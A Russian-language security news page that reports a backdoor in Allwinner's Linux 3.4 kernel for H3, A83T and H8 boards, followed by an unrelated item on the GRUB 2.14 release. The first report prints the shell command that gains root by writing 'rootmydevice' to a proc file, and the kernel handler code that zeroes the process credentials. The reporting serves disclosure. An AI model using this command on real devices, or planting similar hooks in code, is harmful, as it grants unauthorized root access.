Обнаружен бэкдор в отладочном коде ядра Linux для систем Allwinner

Обнаружен бэкдор в отладочном коде ядра Linux для систем Allwinner

Обнаружен бэкдор в отладочном коде ядра Linux для систем Allwinner

Разработчики Linux-дистрибутива Armbian обратили внимание на бэкдор, присутствующий в варианте ядра Linux, предлагаемом для устройств на базе процессоров Allwinner семейства sun8i (H3, A83T и H8). Бэкдор позволяет получить привилегии root через запись строки "rootmydevice" в файл "/proc/sunxi_debug/sunxi_debug".

   $ id
   uid=1000(user) gid=1000(user) 
   $ echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug 
   $ id
   uid=0(root) gid=0(root) 

Проблеме подвержены дистрибутивы и прошивки, использующие предлагаемое компанией Allwinner ядро Linux 3.4, поставляемое в составе официального BSP для Android. Например, бэкдор присутствует во всех основанных на ядре 3.4 системных образах для плат с процессорами Allwinner H3, A83T и H8, включая Orange Pi, FriendlyARM, SinoVoip M2+ и M3 Banana Pi, Cubietruck и LinkSprite pcDuino8 Uno, пишет opennet.ru.

Для предоставления прав root в обработчике sunxi_proc_su_write используется следующий код, выставляющий привилегии root текущему процессу:

        if(!strncmp("rootmydevice",(char*)buf,12)){
		cred = (struct cred *)__task_cred(current);
		cred->uid = 0;
		cred->gid = 0;
		cred->suid = 0;
		cred->euid = 0;
		cred->euid = 0;
		cred->egid = 0;
		cred->fsuid = 0;
		cred->fsgid = 0;
		printk("now you are root\n");
	}

Бэкдор позиционируется как отладочный режим, упрощающий получение прав root на портативных устройствах на базе платформы Android. В настоящее время уже подготовлен патч, переводящий бэкдор в форму отключенной по умолчанию опции. Проблема уже устранена в выпуске дистрибутива Armbian 5.10. 

Вышел GRUB 2.14: поддержка EROFS и исправление проблемы 2038 года

После более чем двух лет ожидания проект GRUB наконец-то выпустил полноценный релиз версии 2.14. Обновление получилось действительно крупным и затрагивает как безопасность, так и поддержку современных технологий — словом, всё то, за что загрузчик ценят в Linux и не только.

Одно из главных новшеств — поддержка файловой системы EROFS, ориентированной на режим «только для чтения».

Она всё чаще используется в контейнерах и встроенных системах, так что появление EROFS в GRUB выглядит вполне логичным шагом. Заодно разработчики прокачали работу с LVM: загрузчик теперь понимает тома с включённой целостностью (LV integrity) и cachevol.

На платформах EFI GRUB получил NX-фичу (No-eXecute), что заметно усиливает защиту от атак на этапе загрузки. В ту же копилку — поддержка протокола shim, алгоритма вывода ключей Argon2 и защиты ключей с помощью TPM 2.0. А для PowerPC-систем добавили Secure Boot с поддержкой встроенных подписей.

Хорошие новости есть и для тех, кто следит за внутренней кухней загрузчика. GRUB теперь умеет хранить блоки окружения прямо в заголовках Btrfs, поддерживает BLS и UKI, а также получил распаковку zstd. Заодно разработчики закрыли знаменитую проблему «2038 года», благодаря чему загрузчик корректно работает с датами за пределами диапазона 1901–2038. Появилась и опция блокировки командной строки — полезная вещь для защищённых систем.

Отдельное внимание уделили безопасности и качеству кода. В релизе закрыт внушительный список уязвимостей (CVE) и ошибок, найденных при помощи Coverity. Улучшена надёжность TPM-драйверов и файловых систем, расширен набор тестов, а документацию привели в более современный вид. Кроме того, библиотеку libgcrypt обновили до версии 1.11.

Исходный код GRUB 2.14 уже доступен на серверах GNU. Для пользователей Windows подготовлены бинарные сборки для платформ i386-pc, i386-efi и x86_64-efi, а также обновлённая документация проекта.

RSS: Новости на портале Anti-Malware.ru